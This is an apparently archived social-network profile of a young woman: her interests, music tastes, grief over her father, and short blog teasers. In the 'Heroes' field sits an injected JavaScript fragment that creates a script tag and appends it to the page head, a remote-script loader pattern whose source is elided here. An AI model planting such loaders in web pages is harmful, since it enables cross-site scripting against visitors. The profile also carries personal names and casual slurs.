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★Pimptastic Devine Skillz ♥Miss Swiss♥

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About Me


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Melissa .."Cheech.." Devine
Big Pimpin Baby
My name is MELISSA . I just graduated in January with a Bachelors in Graphic Design although my dream is to own a bar/night club...My real dream is to travel the country and just bartend my way through it. I love to ask questions and learn (like a Jill of all trades) so when I meet someone new I ask too many questions. When it comes to MUSCLE cars, I check them out more than guys! I have a Silverado pickup and a purple Firebird. FUCK FORD. I lost count on the tattoos and piercings and I absolutely LOVE my lip ring. I am obsessed with Halloween, it makes me happier than anything. I ~
*******MY RECENT LIFE*******
I just moved out on my own to gay ass Attleboro, but prolly moving in a couple months again. Finding a good job is really tough fresh outa college. I find myself striving for intelligent conversation and a deeper connection with someone more than partying and gossip. Diet/excersize/health/wellness is most important my LIFE at the moment and come summer I'll be turnin every head. When it comes to life sometimes I want to give up, but for some reason I keep on trucking. People tell me CONSTANTLY how strong I am, but I think it's because I hide how weak I really feel. Something I learned from my father (RIP), never show your weakness, because it makes you a vulnerable target for those who want to take advantage of you.
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My Interests

the club and bar/pub scene, big into travelling, cruisin, crankin the radio, all types of music, mixed martial arts and ufc, the beach, muscle cars, big trucks, the mall, pool halls, Foxwoods, concerts, piercings, tattoos, dragons, clubs, dancing, demolition durbys, racing, playing sports, working out, collecting weapons, video games, riding, going to shows, and reciting funny movies. I love my friends and I'm always doin something crazy with them! We have a blast! There is honestly not much that I'm not into.

I'd like to meet:

anyone with a sense of humor (goofy or sarcastic), is outgoing, spontaneous, and isn't afraid to get a little crazy , but knows the limits .....as far as a guy (if he could deal with me) reeeeally tall, skinny/cut, strong physically and mentally, a car guy, jack of all trades, mr. fix it, tattoos and piercings a major plus, light eyes, tan skin, romantic, ruggid, sentimental, a little jealous (so i know you care) supportive and nice teeth. oh and they have to like a budunkadunk cuz i got a big one, lol.
Honestly, I have a shitload of acquiantences and friends. I find it very very difficult to stay in touch with all of them and I'm still meeting new people all the time. Although I have many friends, I have VERY few true friends . There's a handful of people I love and trust.

SERIOUSLY, I HATE GETTING HIT ON BY GROSS GUYS LOOKIN TO HOOK UP, I'M NOT INTERESTED. If you wanna score points, cheesy pick up lines actually work for me...
THE ONLY MAN WORTH YOUR TEARS IS THE ONE WHO WILL NOT MAKE YOU CRY, ladies, remember that...


I have no friends.

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Music:

i like whats on the radio like TOP 40, some rap, hip hop, r&b, pop, slow jams, alternative, modern rock, punk, metal and hardcore. I can go to a club and jam to my hip hop and rock out in a mosh pit at Ozzfest; as long as the beat keeps me movin'. I like: Sublime, Busta Rhymes, Korn, Beastie Boys, 50 Cent, Disturbed, Vengabois, Madball, Eminem, Sevendust, Akon, Godsmack, Bon Jovi, Mariah Carey, Doomsday Device, Whitesnake, Enya, Jarule, System of a Down, Sean Paul, Cuthroat, Pitbull, Killswitch Engage, Blink 182, Incubus, Madball, Slipknot, Evanescence, Queen, All American Rejects, Black Eyed Peas, Maroon 5, Drowning Pool, ICP, Slipknot, Fall Out Boy, Limp Bizkit, Missy Elliot, Good Charlotte, Lil Kim, Justin Timberlake, Death Before Dishonor, Ying Yang Twins, Backstreet Boys, Pussycat Dolls, Dido... i dunno theres too much!!I dont care for: Nirvana, Tool, R. Kelly, Wu-Tang, Black Sabbath/Ozzy and many more as well...

Movies:

Hmmm, I like lotsa movies.... The Labyrinth, A Long Kiss Goodnight, Big Fish, Boondac Saints, Love Actually, Bad Boys, Kill Bill, Pay it Forward, ANYTHING with Jim Carey, Nicholas Cage, Gena Davis, I love movies...yeah....

I HATE movies like Super Troopers, Wedding Crashers, Dodgeball, or anything with Will Farrell....Yeah thats right, i said it....

Television:

I LOVE ALL MY FRIENDS!!!!!! ..

Books:

Well, anythign that I have to read for school, on my own I like to read anything Terry Brooks writes, uhm, I love to read Dream books, pyschic awareness books, and astrology, stuff like that....I'm actually sortin through books my dad's (RIP) read that I think he'd want me to read.

Heroes:

i dunno about a hero, probably myself- but i'd have to say my role model is Maureen .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);"

My Blog

change and survival

lately i feel like life is kinda....well...lifeless....last night i decided i dont wanna be one of those people who go to their job i hate, come home, feed the cat, be involved in a confusing relation...
Posted by Pimptastic Devine Skillz on Wed, 28 Mar 2007 03:36:00 PST

the games we play

When a girl bumps into your armwhile walking she wantsyou to hold her handWhen she wants a hugshe will just stand thereWhen u break a girls heart,she still feels it whenu run into each other 3 years l...
Posted by Pimptastic Devine Skillz on Fri, 16 Mar 2007 11:55:00 PST

i've decided

im not going to be fat anymore. im going to work hard at looking good....and nothings gunna stop me...except maybe a few carbs....ugh i hate being italian! but you just wait....this summer, when im in...
Posted by Pimptastic Devine Skillz on Fri, 16 Feb 2007 10:57:00 PST

to all my

to all my "friends" who:said you'd be there for me and weren'tsaid you wouldn't leave my side in my times of need but were "too busy" to answer the phonehave been too busy the last couple weeks to giv...
Posted by Pimptastic Devine Skillz on Fri, 29 Dec 2006 04:29:00 PST

Halloween Party

Lebeaux throws the BEST fucking parties....the bands were AMAZING!this kid is hot and is the sickest drummer (auburn system)look at shannons sockhaller!!!what am i looking at?my two LOVES OF MY LIFE! ...
Posted by Pimptastic Devine Skillz on Mon, 30 Oct 2006 05:14:00 PST

RIP Michael J. Devine Sr. ~ devoted father

Early Monday afternoon, May 15th, my father regrettably passed away due to unknown causes. My brother and I are taking a pretty strong hit and appreciate any support that anybody is offering. I wa...
Posted by Pimptastic Devine Skillz on Wed, 17 May 2006 07:05:00 PST

My new truck :)

I just bought a new truck! She's really pretty, but will be much prettier when I'm done...2002 Chevy Silverado Extended Cab Pickup Whitehere is a picture of my car and my truck...East Coast Auto Sales...
Posted by Pimptastic Devine Skillz on Sun, 27 Aug 2006 06:07:00 PST

I gutta let him go </3

Let U GoBroken promisesBut you don't really mindIt's not the first time and you know itDon't you knowTell me why it is you only smile insideBut when you break me into nothingDon't you knowIt's not li...
Posted by Pimptastic Devine Skillz on Thu, 03 Aug 2006 07:44:00 PST

broken hearted

I walked into the bar, not knowing what to expect. Instantly our eyes locked as I walked across the room.You got off your seat and approached me ever so comfortably.We hugged before exchanging any wor...
Posted by Pimptastic Devine Skillz on Sat, 29 Jul 2006 02:37:00 PST

moving lyrics:

THE ALL-AMERICAN REJECTS LYRICS"Move Along"Go ahead as you waste your days with thinkingWhen you fall everyone standsAnother day and you've had your fill of sinkingWith the life held in yourHands are ...
Posted by Pimptastic Devine Skillz on Sun, 23 Jul 2006 04:17:00 PST